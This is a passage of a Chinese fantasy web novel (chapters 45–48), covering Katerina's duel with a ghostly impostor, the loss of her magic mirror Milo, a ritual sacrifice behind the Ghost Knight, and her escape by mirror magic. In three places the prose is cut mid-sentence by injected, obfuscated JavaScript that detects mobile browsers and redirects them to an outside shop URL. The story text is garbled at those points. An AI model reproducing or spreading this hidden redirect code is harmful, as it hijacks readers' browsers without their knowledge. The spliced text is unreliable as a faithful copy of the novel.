卡特琳娜清了清嗓子，开口说：“我知道你在……暗中窥视的幽灵……你妄想成为卡特琳娜*范维西，但这是绝无可能的事情。你已经失败了一次、两次，接下来也只会失败无数次！” 黑暗，无声。 卡特琳娜并没有放弃，继续说着：“这个地方太过阴湿，是幽暗森林中最接近冥界的所在。我知道你潜伏在这里的原因，你已经无处可去。我可以给你机会，我不追究你的过错，放你一马，让你能够作为幽灵存在，而不是彻底湮灭！” “你还是不愿意现身？已经怕了我？”卡特琳娜原地转了一圈，根本无法在黑暗中发现任何幽灵的迹象，说实话她心里已经有些慌了。 但她还是做出胸有成竹的样子来，以傲慢的口吻说：“这都是我的预谋，我故意骗你来这个地方，就是为了将你除掉。如果你求我，我真的会考虑放过你。你带走简妮有什么用呢？她不过是一个女仆，她死了我还有其他的仆人……” 卡特琳娜故意暴露出自己的弱点来。 果然，石碑后有了动静。 幽灵卡特琳娜现身了，她勒着满身血迹的昏迷的简妮，飘荡到了卡特琳娜的面前。 “原来……你追这么远，是为了她吗？” 幽灵卡特琳娜的状态确实不太好，阴影与周围环境快要融合，几乎接近于消失。她之前的换魂术失败，遭到了严重的反噬，从声音也能听得出她的虚弱。 “当然不是，我是来跟你谈判的。”卡特琳娜立即否认道。 幽灵卡特琳娜眼里的恨意几乎快要溢出来，她咬牙切齿：“为什么，为什么你的灵魂毫无动摇，为什么你就能够——” 卡特琳娜打断了她，说：“因为我是真正的卡特琳娜，从□□到灵魂都是真正的卡特琳娜*布瑞尔*古奥斯！” 卡特琳娜这样说，只是为了给与幽灵最大的震撼与威慑，但不知为何，这些话语似乎被烙印上了某种力量。 她感觉自己坚不可摧。 这时候简妮突然睁开了眼睛。 卡特琳娜有些惊讶，因为她从简妮的瞳孔中看到了自己现在的样子。 她与婚礼油画中的卡特琳娜完全不同。 她是从黑暗中凝成的幻影，银白色的长发如同瀑布般披散在肩头，仿佛星辰的光芒被夜色吞噬。她的眼睛是另一种令人心悸的银，犹如冷冽的冰湖深处隐藏着的秘境。 模仿安娜的那个红发碧眼的卡特琳娜消失了。 她是镜子里的邪魅，是幽冥深处的银辉。 45. 幽灵骑士（10） “不可能……”幽灵卡特琳娜突然发怒，情绪变得激动失控，“你不可能是她！她早就消失了！消失了！” 她掐住手中简妮的脖子，令简妮的脸呈现出充血的酱红色。 简妮说不出话来，拼命挣扎，伸手去抓掐住自己脖子的手。但她根本无法与力大无穷的幽灵对抗，她就像是一只被提取脖子的肉鸡。 卡特琳娜还不完全清楚眼前的简妮究竟是不是被米洛附身，她不敢继续刺激幽灵脆弱的神经，赶紧安抚道：“你别激动，就算你失败了，也并不意味着我和你之中必须要牺牲一个。” 她的话似乎起了一些作用，幽灵掐住脖子的手松动了一些。幽灵仍架着简妮，可怜的女仆不再窒息，能稍微喘上一口气。 “你叫什么名字？”卡特琳娜往前走了一步，轻声问道，“你不是卡特琳娜，你原本叫做什么？” 幽灵看着她走近，突然眼里又燃起了怒火，尖啸道：“……我没有名字……没有！我就是卡特琳娜*范维西！我就是！你才是占据我身体的幽灵！” 她将简妮摔在墓碑上，然后飞向卡特琳娜。 幽灵的手臂修长而苍白，指尖如同锋利的利刃，闪烁着冰冷的光芒。 卡特琳娜几乎没有过多思考，就将准备好的镜子用上。 幽灵冲破了她的身躯，但她的身躯是假的，那只是一面镜子。 镜子碎片散落一地。 卡特琳娜出现在幽灵的身后。 镜子替身法。 这是三阶巫师的镜子魔法，卡特琳娜并没有学过。但她看过这个术式，心中有详细过程和步骤。她也没想到自己能轻松完成这个魔法，就像是条件反射。 幽灵立即转身，诅咒出嘴中倾斜而出。 地下冒出黑暗的藤蔓，将卡特琳娜的脚束缚住。这次她没有办法用镜子替身魔法逃跑了，眼看着幽灵再次冲过来。 有一面镜子在卡特琳娜手中泛起微弱的光辉，她也念动着咒语，将镜面的光线调整至最佳角度。 幽灵的透明身躯在空中扭曲，突然间，它的手臂如同幽灵般的长鞭，挥向卡特琳娜。 镜子碎片将卡特琳娜脚上的藤蔓斩断，她快速移动。镜子形成的光屏精准地反射出幽灵的攻击，使得幽灵的手臂被镜面挡住，转而击打在周围的墓碑上，发出沉闷的声响。 幽灵的攻击不止如此，它的身影在空中不断变幻，诡异而邪恶。 卡特琳娜感到自己动弹不得，她低头看到自己的影子被幽灵缠绕。 幽灵魔法中的影子魔法！ 幽灵试图吞噬卡特琳娜的影子！ 卡特琳娜立即将手中的冰雪提灯熄灭，但幽灵的诅咒让绿色的鬼火升起，影子之间的纠缠仍在继续。 她将“圣泪”转变为长剑，集中精神，通过剑刃反射的镜像观察幽灵的每一个动作，并在间隙中发起反攻。 她没有剑法，随意挥剑，令幽灵难以防备。 一时间卡特琳娜占据了上风，她用剑刺穿幽灵的魂体，将其钉在了地上。 力量。 卡特琳娜觉得有些恍惚，她突然拥有了不曾拥有的力量。灵力源源不断，不会枯竭。她完全没有疲惫的感觉，反而是很兴奋。 她是卡特琳娜*布瑞尔*古奥斯！她怎么可能被一个幽灵打败？ 这样的感觉让她惊恐，她怎么可能是真的卡特琳娜，那只是她欺骗的手段，她不能也骗了自己…… 在她发愣的期间，幽灵笑得狠毒，突然化作一股阴冷的风暴。 风暴扑向卡特琳娜，将所有阴寒的幽冥之力集中在一处，力图将卡特琳娜一击毙命—— “米洛！” 卡特琳娜惊叫。 简妮扑上来推开了卡特琳娜，挡在了她的前面，挡住了幽灵的全力一击。 黑暗将简妮脆弱的身体彻底侵蚀，她瞬间倒下。 卡特琳娜不敢相信，她立即爬过去将简妮半抱在怀里。这个满脸雀斑的丑姑娘变得浑身黑纹，已经看不清原本的面目。 她眼睛半闭着，显然是快不行了。 “米洛？你是米洛对吧？”卡特琳娜慌得不知道该做什么，她生怕米洛出什么事情。 虽然她来这个世界没多长时间，但除了一些意外事件，似乎每时每刻都是米洛陪伴在她身边。米洛告诉她这个世界的常识，教她学魔法，回答她的所有问题。 即使是因为一个神秘的十年契约，但卡特琳娜无意识中全身心都依赖着这个把她当做主人的魔镜。 镜子也会死吗？ “我的卡特琳娜……” 卡特琳娜紧紧抱着她，差点就要哭出来了。真的是米洛，但她不仅没有救到她，反而是害了她。 因为她与米洛之间的魔法学联系和相似的形象，所以在之前幽灵的换魂术中，米洛代替了她被换到了简妮的身体里。 “我们的契约还没到期。”米洛的声音变得越来越虚幻，“我会在镜界里等你来找我，你答应过我，带我回故乡……” “我答应你，我一定会做到……”卡特琳娜摸着她的脸庞，感觉自己的呼吸快要停滞了 “我等你……” 说完，她的手臂往下垂，彻底咽气了。 “米洛！” 卡特琳娜难以接受，她去探米洛的脖子，颈动脉已经没有搏动。 镜界……米洛回到了镜界…… 卡特琳娜想到这里才稍微松了一口气，但她知道米洛这句话真正的意思。 米洛这次几乎耗尽了所有力量，即使是吸取她的灵力也无法维持。魔镜再次沉睡，成为镜界里一面虚幻的镜子。 米洛不会再主动来找她了。 而只能是她去镜界找米洛。 卡特琳娜将简妮的身体放下，抬眼去看刚刚伤害了她最重要朋友的幽灵。 幽灵用了全力一击，自身已经接近透明，匍匐在泥地上，只剩最后一口气。她不甘心，她怨毒地盯着靠近她的卡特琳娜，她不甘心。 “你是想跟我同归于尽吗？”卡特琳娜面无表情，手里的长剑变成了十字架形状，尖端锋利无比。 她将十字剑刺向幽灵，将其牢牢扎在地上。 “啊！！！”幽灵被灼烧，痛苦地嚎叫着。 是卡特琳娜失误了，她之前用剑刺幽灵，当然不会有效。 只有凝聚了圣洁力量的十字剑才能伤害到幽灵的魂体，若不是她的失误，米洛也不会消失…… “其实，我原本没那么想除掉你……” 她伸手抓住幽灵的下巴，目光如刃，仔仔细细看着这个女人的脸。 幽灵与卡特琳娜的长相并没有那么相似，在离开肉身之后，她的灵魂越来越趋近于自己原本的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632591|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 是一个死于绞杀的女人，脖子上有着非常深的勒痕。 “因为我有好多事情想要从你口中知道，但现在不必要了。”卡特琳娜握住十字剑的剑柄，“你只是个疯了的幽灵，被利用的可怜虫，我觉得你还是彻底消失了更好。我可以帮你解脱，让你不用再受苦。” 怨毒看着她的幽灵突然笑了，问：“你想知道什么我都不会告诉你……我输了就是输了，但你也没有赢……” 她哈哈大笑起来，恨恨道：“你根本出不去幽暗森林，就算你能出去，你也会发现洛尔兰根本不是你想的那个样子！世界已经变了天了！” 卡特琳娜眯起眼睛，抬起幽灵的下巴，“什么意思？” “你竟然敢留着伊桑*沙穆……他才是最大的祸患……他会毁了这一切，包括洛尔兰，包括你，还有海因里希，甚至是肯*沙穆，凯特罗琳，阿伦*道格斯！所有人！所有人都不得好死！我只是可惜，可惜我看不到那样一天了……哈哈哈……你以为你是卡特琳娜*布瑞尔*古奥斯又怎么样？你的灵魂回来了，但有的是人想要你死！你怎么不在放逐之境安度余生？偏要回来受苦受虐，都是你自找的！” 卡特琳娜皱起眉头，幽灵这段话中的信息量太大，将她所知道的串起来，但她却无论如何都串不成一个完整的故事。 到底是缺了什么？ “我会在地狱等你……”幽灵愤怒无比，苍白的指甲抓了卡特琳娜的手背一下。 她洁白的肌肤被划出一道痕迹，一滴血往下落，透进了幽灵的魂体。那滴血如火焰般烧起来了，青白色的火焰在两秒钟内将幽灵烧尽。 黑暗。 卡特琳娜还楞着，她定眼一看，幽灵仿佛从来没有来过，什么痕迹都没有留下。 她伸手拂过手背的伤痕，瞬间愈合了。 她的大脑突然一阵痉挛，在短暂的疼痛过后，她发现自己竟然获得了一些幽灵的能力。关于幽灵魔法学的知识竟然在她脑海中系统地呈现，她从没有这样深刻地了解并掌握人灵派魔法学。 她的血液，将幽灵吸收了。 地狱？ 卡特琳娜想起来，这个世界也有地狱的概念，但传说中那里都是魔鬼。原来，幽灵是跟魔鬼做了交易吗？怪不得会说出那样离奇无逻辑的话语来。 在放逐之境安度余生？ 怎么可能，她是异世界的旅人，她意外穿越到这个奇异的童话世界。她一定会找到办法回到自己的世界里，那里是她长大的地方。虽然并不是那么美好，但她还有未完成的事。 这只是个童话。 她将“圣泪”变回了手镯，戴回腕子上。 她低头，看到一只小白兔在脚边。 麦格一直都没有离开，一直都跟着她。 “我已经找到想要找的人了，但她又离开。”卡特琳娜语气里有些无奈，“要再去找她可能没那么容易。不过方向还是有的，不算漫无目的。” 小兔子蹦蹦跳跳，走在了卡特琳娜的前面。 卡特琳娜发现麦格身上有着微微的光芒，可不是一只普通的小白兔，她是冰雪女神在人间的神谕传递者。 “你要带我去哪里？” 卡特琳娜一边问，一边跟着小白兔往前走。 月亮的坟墓在十三月的尽头。 也许，她必须往那里去。 46. 幽灵骑士（11） 卡特琳娜在黑暗中行走，唯一的光亮是眼前的小白兔。 麦格顺滑的皮毛带着荧光，虽不能照亮脚下的路，但不会让卡特琳娜迷失方向。 “就是这里了吗?” 麦格突然消失了，卡特琳娜陷入伸手不见五指的境地。她却感觉到很放松，似乎一切都在她的掌握当中。 她的灵力源源不断、永不枯竭。 她不太懂为什么会这样，但这肯定与这个地方的特殊有关。她进入得越深入，她越能够感觉到自己在变强。 可惜的是，她本身的知识储备并不能与之兼容，她仅仅能做到三阶下游的巫师水平。 这也是幽灵卡特琳娜失败的原因，她们都低估了她。 “这里就是十三月的尽头？” 卡特琳娜将手往前方伸，将灵力通过腕子上的手镯传递出来，无数绿色的萤火虫从中倾斜而出，将这一处神秘的所在照亮。 眼前震撼的景象让卡特琳娜屏住了呼吸。 幽灵树耸立在巨大的湖泊中央，树干如同扭曲的巨人手臂，树冠深邃而漆金，如同遮蔽了天空的巨大黑幕。每一棵树的枝桠像黑暗的触手，纠缠在一起，仿佛在吞噬和缠绕着整个世界的光明。 天空没有月亮，是绝对的黑暗。 她能感觉到，月亮在湖泊的底部，隐藏在巨大树影的阴影中。整个世界都是月亮的墓碑，而他们则是墓碑上的铭文。 巨树的底部有一道三米高的通道，去向未知的无尽。 卡特琳娜立即领悟，这里是幽暗森林的最深处，是现实与冥界的交界，是时间定格的地方。 有人在过来。 卡特琳娜察觉到这一点，将所有萤火虫的荧光熄灭。她隐匿在黑暗之中，无人能发现她的存在。 “刚刚明明看到了有光啊……”布莱克举着火把，与海因里希一起走了过来。 他们与巨龙战斗了许久，最终意识到那镇守幽暗森林的幽灵龙是无法避免的却虚幻的投影。于是他们放弃了正面对抗，往墓地的深处逃去。 他们迷失了方向，不知不觉走到了彻底黑暗的地方。 所幸布莱克收集了枯枝，能够制作火把，不至于完全摸瞎。但火把的光线太过于暗淡，他们只能看见身前半米。 黑暗甚至会侵蚀火焰，必须由布莱克输送灵力来维持。 “我们走得太深了，完全没有她们的踪迹。”海因里希表情凝重，停下了脚步。 “这里有水！”布莱克发现了湖泊，走上前去，朝湖面看。 海因里希也想要往前，被布莱克拉住往后退。 布莱克脸色惨白，火把上的火焰也更加暗淡了。 海因里希皱眉，扶住布莱克，说：“你应该休息一会儿，你太累了。” “我没事……我不累……” 卡特琳娜心中震惊久久不能平复，刚刚布莱克看向湖水的时候，她也通过镜子看到了布莱克在湖中的倒影。 这个满脸胡子的天气术士的倒影穿着幽灵骑士的铠甲！ 在毫无察觉的情况下，他们已经被幽暗森林的诡异侵蚀。 她不敢贸然现身，继续观察着那两个被污染的男人。她使用了真实之镜，看到幽灵铠甲出现在他们两个人的身上。 布莱克显然更严重一些，铠甲几乎覆盖住了他的全身上下，仅仅露出了眼睛部分。而海因里希受污染较轻，仅有胸甲和铁靴染上幽灵的黑。 卡特琳娜能够想象得到，若是幽灵铠甲将人体完全覆盖，这个人大概率会成为“幽灵骑士”。 这是某种诅咒吗？ 她用真实之镜看自己，发现她还是卡特琳娜本人。她没有受到任何污染，这难道与她身上的特殊有关？ “布莱克，你看起来不太对劲。”海因里希提出了质疑。 布莱克点点头，这个地方给他的感觉非常不好。 他的语气突然变得无比郑重，：“陛下，我……我有件事情必须告诉您……” “什么事？”海因里希看着他惨白的脸色，不由得警惕起来。 “三年前的剿匪行动您没有参加，所以不知道，现在我必须告诉您了……” 海因里希皱眉：“到底什么事？” 三年前，第七军对骚扰国境的十四团发动了剿灭行动。当时海因里希作为自卫军的首领并没有亲自参与，而是派遣了布莱克和部分卫兵进行援助。 那次剿匪行动算是阶段性成功，将十四团杀得退回了亚连士雪山最高峰以北。虽然第二年十四团又卷土重来，但并不如往年那样强盛。 只是今年年初，不知道十四团用了什么样的法子，竟然能够将拜厄运往洛尔兰的粮车抢劫。运送粮车的卫兵没有一个能逃脱出来，所以第七军和自卫军方面完全不知道具体的细节。 这一次也是。 卡特琳娜私下宣称要对十四团进行动作，在去往自卫军营地的路上，便遭遇了特殊事件，被卷入幽暗森林。而自卫军的王牌海因里希和布莱克为了寻找王后，也不得不往深处走…… 海因里希越想越心惊。 “三年前……我们并不是将十四团赶到了亚连士雪山最高峰以北。”布莱克的音调越来越沉重。 海因里希眼里闪过震惊，他似乎猜到了。 “而是将他们封印在了幽暗森林……” 海因里希不敢相信：“怎么可能……” 然后他很快恍然大悟：“……怪不得，之后的两年，周边村庄民居都很少再出现土匪抢劫事件……偶尔出现的那些，很有可能是被诬陷栽赃到了十四团的头上。今年年初的粮车抢劫，事发地点留下了十四团的残旗，才让我们都误以为是他们所为，但实际上背后是别的人……十四团其实在三年前就被剿灭了……” 海因里希抓住布莱克的肩膀，问：“你之前为什么没有告诉过我？你们是怎么做到的？” 卡特琳娜也听得心惊，她本想要将十四团作为自己可以拉拢的阵营，但现在却得知，这个阵营从一开始就不存在？ 但她还记得幽灵卡特琳娜打算写给瓦沙克亲王的那封信，明确提到了十四团。是幽灵根本不知道十四团不存在的真相，还是其中另有隐情？ 到底是谁抢劫了她的粮车？ 布莱克摇了摇头，回答说：“并不是我不想说，而是说不出口。所有参与那场战斗的人都被施加了禁言术，没办法提及相关的任何一个字。只是走到了这里之后，我发现我能够开口了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632592|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“禁言术失效也许，是因为这里是幽暗森林的最深处。也许，是因为这里埋葬着三年前所有十四团成员的尸骨。一共三千幽灵，都在此处游荡。” “怎么做到的？是谁主导？”海因里希不由得胆寒，他抓住布莱克的手，声音急切。 “我无法说出她/他的名字。”布莱克面色发黑，音调低沉得发哑，“卡洛斯上将向王室公开的报告中，也隐藏了诸多细节，根本无法还原当时的情景。我们与十四团战斗，将他们逼进了幽暗森林，他们没有一个人能活着离开。” 瓦沙克*道格斯。 卡特琳娜听到这里，心中浮现出这个名字。虽然她没有见过瓦沙克亲王，但却从米洛那里听说这是个暴虐、残酷的冰港屠夫。在与他的信件往来中，幽灵卡特琳娜明确提及过十四团…… 她几乎接近真相了。 “所以？”海因里希退开两步，审视着布莱克。 “之前我一直不明白，为什么剿匪行动会是这样复杂的形式。走到这里之后，看到了湖中的我的倒影之后，我明白了。” “倒影？”海因里希又退了两步，他能感觉到布莱克的不对劲，非常非常不对劲。 “我们将十四团逼进幽暗森林，不只是为了剿灭他们，而是为了献祭。” 海因里希的呼吸突然滞住，声音颤抖：“献祭？” “是为了幽灵骑士，所有的幽灵聚集在一起，就会成为最强大的幽灵骑士。我至今才明白，至今才明白……这是伟大的献祭，为了我主的复生，为了神迹的降临……” 布莱克突然跪在地上，手中的火把掉落，只剩极其微弱的光亮。他的嘴巴不停动着呢喃着，胡言乱语开始念诵古怪的咒语。 他神情呆板，四肢僵硬，已经陷入了精神混乱的境地。 “布莱克！”海因里希不敢靠近，只能大声呼喊他的名字。但在这寂静之地，这样的音量像是滴入海中的水滴，瞬间消弭。 根据布莱克混乱之前的讲述，卡特琳娜也意识到幽灵骑士的本质——那是一个无数幽灵的集合体！ 她回忆起一开始被幽灵骑士袭击的情景。 怪不得他那么无懈可击、坚不可摧，他的盔甲下什么都没有，又包含着一切。原来在幽暗森林献祭的亡魂会被他的铠甲吸收，成为他的一部分。 布莱克和海因里希也受到的污染，如果放任不管，他们迟早会被“幽灵骑士”蚕食。 成为剑下亡魂。 火把最后的火星子灭掉，十三月的尽头再次陷入彻底的黑暗。 卡特琳娜听到了马蹄的声音，朝着念念有词的布莱克而奔去。 “小心！”她高呼一声，再次将萤火虫的光从“圣泪”倾斜而出。 幽黑铠甲的幽灵骑士出现了，他骑着白骨马，向跪在地上的布莱克挥剑。 海因里希早已退到了安全距离外，反应不及，根据来不及对布莱克进行救援。 他震惊地看着从黑暗中出现的幽灵骑士，更加震惊地看着冲出来的卡特琳娜。 卡特琳娜念诵着咒语，朝布莱克抛出了一面镜子。 在海因里希眼里，那是一个一身银色光辉的如鬼魅般的女巫。 强大、魅惑、邪恶。 47. 幽灵骑士（12） 镜面屏障将幽灵骑士的剑暂时阻隔，并且混淆了他的方向。他错开跪在地上的布莱克，冲向了另一边的黑暗中。 但布莱克已经近乎被彻底污染，他脸上的铠甲已经显现出了形状，即使不使用真实之镜的魔法，也能够清楚看到。 他站起身来，嘴里念念有词，手中凭空出现一柄长剑，与幽灵骑士的幽灵剑几乎一模一样。 卡特琳娜立即将萤火虫的亮度调低，隐匿起来。 这时候海因里希贴近她身边，问：“卡特琳娜，你怎么会在这里？雪圣女呢？” “现在不是说这个的时候。”卡特琳娜将自己的猜想简要说明，“布莱克被幽灵骑士污染，若是他成为幽灵骑士的剑下亡魂，就会与幽灵骑士融合。你也是，你没发现自己身上的气息变化了吗？” 海因里希悚然一惊，这才察觉自己身上也有着与布莱克相似的改变。但他的程度更加轻微，还没有异变到让他精神失常的地步。 他没有了主意：“那现在该怎么办？” “在这里，幽灵骑士是不可战胜的存在，我们不能跟他硬碰硬。你去拦住幽灵骑士，拖延时间，我试着让布莱克清醒过来！”卡特琳娜立即做出了决断，这是目前唯一可以尝试的办法了。 她握住海因里希的手腕，让萤火虫围绕在他身边，使他不至于被困在黑暗中无法动弹。 这时候白骨马找回了方向，幽灵骑士再次转过来直指布莱克。 海因里希听从了卡特琳娜的建议，他拔出冰雪审判之剑，挡住了幽灵骑士的一击。 他无法对幽灵骑士直接进攻，便转而攻击幽灵骑士的白骨马。海因里希对动物骨骼也还算是有些研究，剑剑刺向关节薄弱之处，附加冰冻碎裂的效果，竟两下将白骨马斩得四分五裂。 幽灵骑士从白骨马上跳下来，与海因里希进行剑术对决。他的力量、速度和术式，都无懈可击、毫无破绽。海因里希根本找不到反击的机会，只能以退为进，不断防守躲避。 他冷汗直流，这还是离开费里特之后十年里，他第一次遇到剑术如此优秀完美的骑士。 这古怪的家伙到底是什么？！ 这边海因里希在拖延时间，那边卡特琳娜面对布莱克却有些束手无策。 布莱克陷入了严重的精神混乱，嘴里念诵的咒语乱七八糟，周身缠绕着幽灵的气息。他的身影也变得浅淡，反而露出的盔甲越加明显。 镜子魔法虽然是人灵派的一种，卡特琳娜知道人的情绪由自身的灵掌控，却不知道外界的因素要怎么做才能修正。 “真实！” 卡特琳娜抛出镜子，想让布莱克看看自己如今的模样。 但布莱克近乎幽灵骑士的形象，一剑将镜子斩碎，镜面失去了光泽，再也反射不出任何画面。 再这样下去，他就真的没得救了。 卡特琳娜倒不是非得要救一个跟她无亲无故的天气术士不可，而是她还想要从布莱克身上获得更多有用的信息。 他不仅是国王海因里希的心腹，还知道三年前的剿匪行动的秘辛……虽然他被禁言术限制，说不出背后主导者是谁，但若是他死了，这一切都会被再次掩埋…… 不过，除了布莱克，还有别的人也知道这些…… 卡特琳娜眼眸里闪过杀意，“圣泪”化作与布莱克手中幽灵剑相似的长剑，她直刺布莱克的眉心——那里是他还没有完全异化的部分。 布莱克挥剑格挡，但卡特琳娜根本没打算用剑伤他，而是从袖子里将镜子碎片射过去。 碎片划破的布莱克的皮肤，他的左眼受伤，瞬间飚出鲜血。 随着鲜血的浸透，附近被异化成铠甲的部分又呈现出人类肌肤的颜色。 有效！ 卡特琳娜剑术拙劣，但胜在毫无章法、乱七八糟，令人摸不清楚规律。她剑剑刺向布莱克面门，竟然一时间令他无法反击，只能格挡或闪避。 但这样根本不是办法。 很快，随着时间的流逝，血液干涸，布莱克的异化程度再次加深。他眼里已经没有人类的瞳孔颜色，而是幽灵般的深黑。 另一边的海因里希也不敌幽灵骑士，他受了伤，浑身都是破损。虽然他的异化程度较布莱克好上很多，神志也非常清明，但铠甲也已经延伸到百分之五十的程度。 “你到底还要多久？！”海因里希有些快支撑不住了。 自从进入幽暗森林以来，他们就不停赶路。后来遇到的巨龙耗费了海因里希绝大多数灵力，现在又要与幽灵骑士对抗，即使是他，也是有些勉强。 卡特琳娜心里着急，她懊恼米洛不在她身边。她到这个世界才一个月不到，根本就是摸瞎过河。 大不了放弃布莱克，她带着海因里希逃跑。 卡特琳娜心里估量了一下这个事情的可行性。她在幽暗森林里留下过一些镜子碎片，也许能尝试镜子转移术返回去——但也还是不知道出口在哪里。 她又想到湖泊中央的巨树以及树根部的通道，那里是通向冥界的吗？ 她学习魔法学基础的时候了解到相关的知识点，传送术。这与镜子转移术有着相似的效果，但却更加困难一些。 需要用含有巨大灵力源的物品来锚定出口和入口，才能够做到在两个不同的空间进行自由传送。 那个通道会是一个传送的入口吗？ 如果是的话，也许卡特琳娜能够利用锚点的定位，混杂镜子转移术在其中，离开这个古怪诡异的地方…… 正当她思考的时候，布莱克的幽灵剑找到了反攻的机会，朝她的脖颈刺去。 强烈的危机预感让卡特琳娜瞪大眼睛，她知道这一剑刺中的话她会瞬间没命。她急中生智，大喊了一声：“麦格！” 虽然她与布莱克接触不多，但从一开始的冰雪审判到后来在幽暗森林的跋涉，她能察觉到布莱克与雪圣女的羁绊很深。 他们都是冰雪神教的信徒，也是配合默契的搭档。 果然，卡特琳娜叫出了雪圣女的真名，令布莱克混沌的双眼瞬间恢复了光明。他恍惚不安，动作变换，转动着眼球，似乎是想要在这黑暗之地寻找麦格的身影。 卡特琳娜趁机一脚踢在布莱克的胸口，将人踢倒在地。 虽然幽灵魔法诡异邪恶，但现在为了救下布莱克，她必须试一试了。她的手指掐住布莱克之前受伤的眼睛，让他流出更多的鲜血。在布莱克痛苦的叫声中，她迅速在他的胸口画出图阵。 她嘴里念诵着咒语，将幽灵剑刺入了布莱克的心脏。 铠甲非常坚硬，如果是普通的剑刃根本不可能刺进去，但幽灵剑穿透了所有屏障，将布莱克虚弱的心脏贯穿—— 布莱克的肉身化作了一团黑气，他表面的铠甲也随之消退。 海因里希注意到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13632593|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了卡特琳娜的行动，心中震惊，以为自己受骗，卡特琳娜竟然在这种时候杀害他的天气术士。 他顾不上幽灵骑士的攻击，冲过去推开卡特琳娜，大叫：“你在做什么？！” 卡特琳娜差点被推倒，她转身站稳，非常气愤海因里希对她的不信任。她也大叫了一声：“我在救他！” 海因里希这才看清楚，卡特琳娜的怀里突然出现了一只虚弱的灰毛兔子，身上是布莱克的气息。 布莱克的肉身受到百分百污染，已经无法再要，只能先将他的灵体救下再谋后续。 他误会她了。 他正想要道歉，幽灵骑士的进攻再次袭来，两人在地上滚了一遭才堪堪避开。 “不行，我们都耗尽了力气，而这个幽灵骑士还跟一开始一样毫无损伤，根本对抗不了。”海因里希做出了判断，“现在应该想办法逃！” “我知道！”卡特琳娜连滚带爬，也被伤到了边角。 她怀里的布莱克小兔子太虚弱，必须得抱着，她不想抱，将其扔给了海因里希。 她语速极快地对海因里希说：“你听我的指挥，我知道有一个通道可能可以出去，就在湖泊的中央。我一会儿会让萤火虫往那个方向飞，你制造一个冰桥，我们一起跑过去！” “可能？”海因里希抓住了她话中的不确定性。 “你到底要不要信我？！”卡特琳娜对他无语了，这个人疑心病实在是太重。若是她要害他，也不会等到现在！ 海因里希也知道现在别无他法，他下了决心：“好，我信你。” 说话间，他们又避开幽灵骑士的一轮攻击。卡特琳娜让萤火虫指引方向，海因里希抱着布莱克小兔子，挥动冰雪审判之剑开始按她所说制造能供人行走的冰桥。 “冰冻！” 由于湖泊中的水神秘诡异，他不敢借用，只能是凭借空气中的水汽凝成冰桥。这桥极为脆弱，一踏步后便会碎掉。 白骨马恢复了完整，幽灵骑士竟骑着马腾空追逐。 海因里希跑在前面，也顾不上后面跟着的卡特琳娜，飞快地往萤火虫指引的方向跑去。 他看不到这里的全貌，但在狂奔中也惊讶于湖泊的宽广。 前方似乎是一棵巨树，光是树干的宽度就比洛尔兰王宫的横面还要宽。 “继续往前！”卡特琳娜催促着他。 他心里砰砰直跳，依照她所说的做。 作为一个资深的剑术师、骑士、战士、军事家，在这种危急时刻，他竟然只能听从妻子的指令。 他还太弱了。 认识到这一点令海因里希极不甘心，但却又无能为力。 “快点！”卡特琳娜的速度竟然超过了他。 她将萤火虫的光芒熄灭，拉住海因里希的手，一头往黑暗深处扎去。 海因里希仍然不安，前方是无情无尽的黑暗，他问：“会通向哪里？” “我也不知道，但应该会是有一面镜子的地方。”卡特琳娜不太确信，她一边跑一边回答，“反正我不会害你就对了。不过我跟你说一件事，我的心腹大患现在解决。我并不想再参与你们洛尔兰的事情，也许，我们会去往不同的方向。” 说着，她松开了拉着海因里希的手。 “如你所愿，我会消失。以后，你可以说洛尔兰的王后卡特琳娜*范维西，已经在幽暗森林里死了。” 48. 白雪公主（1） 这是意外的惊喜，卡特琳娜在幽暗森林中解决了觊觎她的幽灵，她不用再担惊受怕。 虽然米洛失踪，但她不需要再受到王后这个身份的限制。 她决定离开，远离洛尔兰，远离纷争，专心致志寻找米洛，帮助米洛回到永夜之都，也寻找让自己回到故乡蓝星的办法。 她太想回去了，这个世界真是一刻都不想要再多待。 所以松开了海因里希的手之后，她在他身前放置了一面镜子，用镜子转移术将他和布莱克小兔子传送走。 而她自己，则是从另一面镜子离开。 至于消失不见的麦格小兔子，她实在是无能为力。不过麦格身上有冰雪女神的祝福和指引，也许她有别的办法离开幽暗森林。 她的镜子转移术奏效了，与这个传送区域的锚点出现了部分融合。 但卡特琳娜对这种魔法没有那么熟练，她并不知道海因里希和自己会通向什么地方，但肯定不是同一个地方。 希望不会是什么奇怪的地方…… * 一阵天旋地转之后，海因里希发现自己出现在林中的一座废弃木屋内。他第一时间认为这是幽暗森林里那座已经坍塌的木屋，但旁边人的惊呼让他意识到这里是洛尔兰附近的森林。 “国，国王陛下？” 